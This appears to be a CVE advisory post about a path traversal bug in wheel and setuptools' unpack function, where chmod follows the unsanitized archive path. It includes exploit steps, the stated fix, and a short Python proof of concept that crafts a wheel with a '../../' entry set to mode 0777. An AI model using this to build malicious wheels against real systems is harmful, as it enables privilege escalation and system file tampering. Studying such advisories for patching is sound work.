wheel and setuptools, Path Traversal leading to Arbitrary File Permission Modification, High

Listen to this Post

The vulnerability exists in the `wheel.cli.unpack.unpack` function, which is also present in setuptools’ vendored copy. When extracting a wheel (.whl) file, the function performs two steps for each archived file. First, it uses ZipFile.extract(), which safely sanitizes path traversal sequences like “../”. However, immediately after, the code retrieves the intended file permissions from the archive metadata and applies them using chmod. Crucially, it constructs the path for `chmod` using the original, unsanitized filename (zinfo.filename) from the archive header. An attacker can craft a malicious wheel file that lists a target system file (e.g., “../../etc/passwd”) in its internal RECORD (which passes hash validation) and sets its permissions to 0777. When this wheel is unpacked, the `extract()` call safely fails or places the payload in a sanitized location, but the subsequent `chmod` operation follows the unsanitized path and changes the permissions of the actual targeted system file to world-writable, enabling further compromise.
Platform: Python wheel/setuptools
Version: Vulnerable versions
Vulnerability: Path traversal chmod
Severity: High
date:

Prediction:

What Undercode Say:

pip install setuptools
python gen_poc.py
python exploit.py
import zipfile
import hashlib
import base64
def create_evil_wheel_v4(filename="evil-1.0-py3-none-any.whl"):
malicious_path = "../../poc_target.txt"
payload_content = b"PWNED"
with zipfile.ZipFile(filename, "w") as zf:
zinfo = zipfile.ZipInfo(malicious_path)
zinfo.external_attr = (0o100000 | 0o777) << 16
zf.writestr(zinfo, payload_content)

How Exploit:

  1. Create malicious wheel with traversal path in RECORD.

2. Target file permissions set via external_attr.

3. Call unpack() on the wheel.

4. Vulnerable chmod modifies system file.

Protection from this CVE

Apply chmod to extract()’s returned path, not zinfo.filename.

Impact:

Arbitrary file permission change.

Privilege escalation possible.

System file integrity loss.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top